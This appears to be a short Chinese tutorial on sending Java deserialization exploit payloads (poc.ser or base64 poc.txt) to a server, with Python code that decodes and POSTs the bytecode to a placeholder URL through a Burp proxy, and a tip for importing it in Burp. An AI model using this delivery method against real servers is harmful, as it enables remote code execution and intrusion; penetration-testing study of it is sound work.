一些Java反序列化漏洞在利用时,要发送Java序列化值(字节码)到服务器。
我们在使用一些工具生成字节码后,可以通过python或者burp发送。
生成的字节码一般以两种形式存储:
1、二进制形式存储到 poc.ser
2、将字节码base64编码一下,存储到poc.txt
发送到服务器的方式:
通过python:
对于字节码文件,直接二进制方式(‘rb’)读取poc.ser,发送即可。
挂个代理,burp抓下包,方便看发的是否正确
import base64
import requests# 读取文件中的 base64 编码的 Java 字节码数据
with open('poc.txt', 'r') as f:base64_data = f.read()# 解码 base64 数据
bytecode = base64.b64decode(base64_data)# 设置请求头部信息
headers = {'Content-Type': 'application/java-vm', 'Content-Length': str(len(bytecode))}# 设置代理服务器地址和端口号
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}# 发送 POST 请求
response = requests.post('http://example.com/upload', headers=headers, data=bytecode, proxies=proxies)# 打印响应结果
print(response.text)
通过burp:
通过burp的Paste from file
功能,直接将字节码文件poc.ser 导入到body中。
如果字节码进行base64编码了,可以先转回来:
import base64# 读取文件中的 base64 编码的 Java 字节码数据
with open('poc.txt', 'r') as f:base64_data = f.read()# 解码 base64 数据
bytecode = base64.b64decode(base64_data)# 将字节码数据保存到文件中
with open('poc.ser', 'wb') as f:f.write(bytecode)